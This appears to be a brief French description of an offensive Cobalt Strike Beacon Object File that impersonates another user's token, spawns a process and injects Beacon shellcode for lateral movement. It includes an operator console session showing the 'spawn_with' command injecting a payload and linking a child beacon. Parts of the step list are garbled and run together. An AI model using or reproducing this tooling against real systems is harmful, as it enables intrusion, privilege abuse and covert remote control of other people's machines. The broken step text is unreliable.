
Cobalt Strike BOF qui lance un processus en utilisant le jeton d'un autre utilisateur et injecte le shellcode Beacon, permettant la post-exploitation et le mouvement latéral via l'usurpation d'identité.
Un Beacon Object File (BOF) expérimental qui offre une alternative aux commandes spawnas et inject. Celui-ci expose une nouvelle commande, spawn_with [pid] [listener], qui effectue les opérations suivantes :
spawnto du Beacon.CreateProcessWithTokenW.
CreateProcessAsUserW.beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)
beacon> ps
22656 21972 wordpad.exe x64 1 DESKTOP-1U6AHIU\test_user
beacon> spawnto x64 %windir%\sysnative\notepad.exe
beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:
Spawned PID 45668 and injected 297472 bytes
[+] established link to child beacon: 192.168.0.195
